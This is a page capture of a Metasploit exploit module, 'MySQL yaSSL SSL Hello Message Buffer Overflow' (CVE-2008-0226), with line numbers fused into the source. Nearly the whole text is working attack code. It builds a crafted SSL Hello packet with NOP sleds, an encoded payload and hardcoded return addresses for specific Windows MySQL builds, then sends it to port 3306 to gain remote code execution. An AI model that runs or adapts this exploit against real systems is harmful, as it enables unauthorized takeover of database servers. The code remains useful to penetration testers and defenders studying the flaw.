Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mysql/mysql_yassl_hello.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)15implementation bundled with MySQL <= 6.0. By sending a specially crafted16Hello packet, an attacker may be able to execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-0226' ],23[ 'OSVDB', '41195'],24[ 'BID', '27140' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 600,34'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",37},38'Platform' => 'win',39'Targets' =>40[41[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],42[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2008-01-04'))4647register_options([ Opt::RPORT(3306) ], self)48end4950def exploit51connect5253sock.get_once5455req_uno = [0x01000020].pack('V')5657req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')58req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')59req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')60req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')61req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')62req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)63req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')64req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)6566print_status("Trying target #{target.name}...")6768sock.put(req_uno)69sock.put(req_dos)7071handler72disconnect73end74end757677